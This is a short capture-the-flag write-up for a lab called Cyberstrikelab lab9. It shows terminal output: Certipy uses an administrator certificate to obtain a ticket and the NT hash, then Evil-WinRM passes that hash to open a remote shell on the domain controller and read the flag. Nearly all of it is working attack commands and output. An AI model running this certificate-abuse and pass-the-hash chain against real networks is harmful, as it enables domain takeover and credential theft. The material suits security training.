➜  Lab-9 proxychains -q certipy auth -pfx administrator.pfx -dc-ip 10.6.6.55 -debug
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@cyberstrikelab.com
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@cyberstrikelab.com': aad3b435b51404eeaad3b435b51404ee:28cfbc91020438f2a064a63fff9871fa

flag 3

➜  Lab-9 proxychains evil-winrm -i 10.6.6.55 -u administrator -H 28cfbc91020438f2a064a63fff9871fa
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
[proxychains] Strict chain  ...  172.16.233.2:8001  ...  10.6.6.55:5985  ...  OK
*Evil-WinRM* PS C:\Users\Administrator\Documents>

*Evil-WinRM* PS C:\> type flag.txt
go-flag{1DDE7826-F56B-486D-A661-E9AA83874EFA}

总结

总的来说不难，一把梭哈，但是环境问题太多了。

Cyberstrikelab - lab9